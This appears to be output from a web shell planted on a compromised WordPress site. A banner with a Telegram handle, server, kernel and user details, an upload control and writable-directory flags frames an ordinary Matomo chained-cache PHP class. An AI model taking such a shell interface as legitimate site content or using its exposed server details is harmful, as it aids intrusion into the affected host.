https://t.me/RX1948
Server : Apache
System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64
User : p141464 ( 418825)
PHP Version : 7.4.33.12
Disable Function : NONE
Directory :  /html/KMU-CSR-PLANER/wp-content/plugins/matomo/app/vendor/matomo/cache/src/Backend/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //html/KMU-CSR-PLANER/wp-content/plugins/matomo/app/vendor/matomo/cache/src/Backend/Chained.php
<?php

/**
 * Matomo - free/libre analytics platform
 *
 * @link https://matomo.org
 * @license http://www.gnu.org/licenses/lgpl-3.0.html LGPL v3 or later
 *
 */
namespace Matomo\Cache\Backend;

use Matomo\Cache\Backend;
/**
 * TODO: extend Doctrine ChainCache as soon as available
 */
class Chained implements Backend
{
    /**
     * @var Backend[]
     */
    private $backends = array();
    /**
     * Initializes the chained backend.
     *
     * @param Backend[] $backends An array of backends to use. They should be ordered from fastest to slowest.
     */
    public function __construct($backends = array())
    {
        $this->backends = array_values($backends);
    }
    public function getBackends()
    {
        return $this->backends;
    }
    public function doFetch($id)
    {
        foreach ($this->backends as $key => $backend) {
            $value = $backend->doFetch($id);
            if ($value !== \false) {
                // EG If chain is ARRAY => REDIS => DB and we find result in DB we will update REDIS and ARRAY
                for ($subKey = $key - 1; $subKey >= 0; $subKey--) {
                    $this->backends[$subKey]->doSave($id, $value, 300);
                    // TODO we should use the actual TTL here
                }
                return $value;
            }
        }
        return \false;
    }
    public function doContains($id)
    {
        foreach ($this->backends as $backend) {
            if ($backend->doContains($id)) {
                return \true;
            }
        }
        return \false;
    }
    public function doSave($id, $data, $lifeTime = 0)
    {
        $stored = \true;
        foreach ($this->backends as $backend) {
            $stored = $backend->doSave($id, $data, $lifeTime) && $stored;
        }
        return $stored;
    }
    // returns true even when file does not exist
    public function doDelete($id)
    {
        foreach ($this->backends as $backend) {
            if ($backend->doContains($id)) {
                $backend->doDelete($id);
            }
        }
        return \true;
    }
    public function doFlush()
    {
        $flushed = \true;
        foreach ($this->backends as $backend) {
            $flushed = $backend->doFlush() && $flushed;
        }
        return $flushed;
    }
}

https://t.me/RX1948 - 2025